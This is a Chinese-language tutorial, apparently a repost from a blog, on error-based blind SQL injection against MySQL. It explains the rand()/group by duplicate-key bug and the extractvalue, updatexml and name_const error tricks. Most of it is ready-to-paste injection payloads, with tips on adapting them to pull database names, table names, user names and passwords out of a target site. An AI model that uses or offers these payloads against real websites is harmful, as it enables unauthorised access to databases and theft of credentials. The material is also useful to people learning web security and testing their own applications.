SQL报错型盲注

原理

报错型注入利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果;当然其他类型的数据库也存在相应的问题。

利用

Bug 8652的主要内容就是在使用group by 对一些rand()函数进行操作时会返回duplicate key 错误,而这个错误将会披露关键信息,如

"Duplicate entry '####' for key 1"
这里的####正是用户输入的希望查询的内容
而该bug产生的主要原因就是:在rand()和group by同时使用到的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询

payload语句

1.直接使用报错:' union select 1,count(*),concat('/',(select @@datadir),'/',floor(rand(0)*2))a from information_schema.columns group by a--+

       ' union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a--+

【这里格式貌似几乎固定,相当于这样输就会出错的bug,count()用来返回有多少条数据这里固定写法,中间select后面是我们要获得的信息,floor(rand(0)2)也是固定写法,floor用来取不大于括号里的最大整数,比如1.5取1,后面的a和最后没的a只要是相等的字符就可以,如图】【然后返回值不能超过1行数据,所以如果里面的select获取的是多行数据时要加limit,如图】

2.利用xpath函数—extractvalue报错:' and extractvalue(1,concat(0x7e,(select database()),0x73))--+

这个0x7e是分隔符,也可以省略

【这也是一种类似bug的固定写法,extractvalue,concat里面第一个必须是0x7e,后面是要查的内容,concat里面可以放很多参数(参见目录),所以可以多查很多数据,如图同时获取了数据库名,用户名和第一个表名】,为什么要使用concat函数,因为他里边的第一个字符1不是路劲符号,那么查询语句就会报错,将我们所需要的信息带回,这样持续注入就可以得到我们想要的信息。

【concat里面甚至可以再放函数,如图用了group_concat,将用户名密码全部获得(但是好像输出长度有限定,只能输出一定长度结果)】

3.利用xpath函数—updatexml报错:' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 

和上边同理

4.利用数据重复性报错:' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x--+

【这个貌似有点问题,现在只能查到数据库版本,语法基本固定,第一个select查啥都可以,不一定得1,2,3,两个name_const()里面要一样,最后一个x也啥都可以,如图】

猜你喜欢

转载自www.cnblogs.com/shuaixiaocao/p/11248544.html